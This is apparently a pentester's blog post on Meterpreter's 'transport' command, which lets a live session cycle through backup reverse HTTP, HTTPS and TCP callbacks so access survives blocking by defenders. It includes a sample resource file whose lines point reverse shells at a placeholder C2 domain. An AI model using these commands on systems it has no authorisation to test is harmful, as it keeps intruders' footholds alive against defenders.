Meterpreter Transports: Digging in with your Shell!

The scenario is all too familiar:

Its a been a long week of digital warfare, and you are about to call it quits. And then all of a sudden, you have a shell call back to your handler! You’re in for the moment, but it’s only a matter of time before that pesky blue team finds and blocks you. You now must waste precious time desperately trying to set up persistence in order to ensure that you can maintain your shell…

Suddenly, you remember that meterpeter has a wonderful built-in function called transport. It’s time to pull out your long list of servers, port forwards, and domain names for your C2 nodes.

Transports

Hackers of all colors have been able to select the type of transport (ie: tcp, https…) to be used for specific sessions for a long time. Until recently, these transports were locked at the time of session creation. However, (fairly) recent changes to meterpreter now allow you to switch up transports in mid session! Also useful is the ability to enable a cycle of transports for your session to automatically cycle through should you lose connectivity (or get blocked)!

Setting up transports

Drop into a live meterpreter session and use the “transport” command to spit out a long list of switches.

transport_help

Don’t panic! We can start simple. To add a reverse_http transport to the mix, use the following command. Note that the LHOST and LPORT can be different…
transport add -t reverse_http -l <LHOST> -p <LPORT>

adding_transport

After you add in more transports, should your meterpreter session lose connectivity to your server, the session will start cycling through the list of transports in an attempt to re-establish a connection. Just when the blue team thinks they had you blocked…BAM…you can pick up right where you left off.

The key things to remember about transports are that you must set them up prior to you losing a connection, and you can’t establish them ahead of time (ie: you must have a live session first). I have found that making myself a script with all my transports in place and leave it in my working directory prior to even starting is a good, practical option. Once you catch a shell, prior to looting and rushing for DA, type in resource <path/to/resource_file> and watch all your transports get added to the mix. Now you can relax a little knowing if they block your IP you have backup options!

Here is an example of my resource file that I use the first time I interact with any shell:

transport add -t reverse_http -l 127.0.0.1 -p 8080
transport add -t reverse_https -l 127.0.0.1 -p 8443
transport add -t reverse_tcp -l 127.0.1.1 -p 4444
transport add -t reverse_http -l myshellcatchers-fqdn.com -p 80
transport add -t reverse_https -l myshellcatchers-fqdn.com -p 443

To test your transports or if you have a transport intended to send a shell to another user, you can just type transport next to cycle to the next transport. You can further customize your transports by defining proxy settings if you discover a proxy is necessary to get out bound from the target’s environment.

Transports have many applications and extremely under utilized. We find that many pentesters forget them until its to late.

You can find more in depth information on transports here

wolfthefallen
wolfthefallen

Latest posts by wolfthefallen (see all)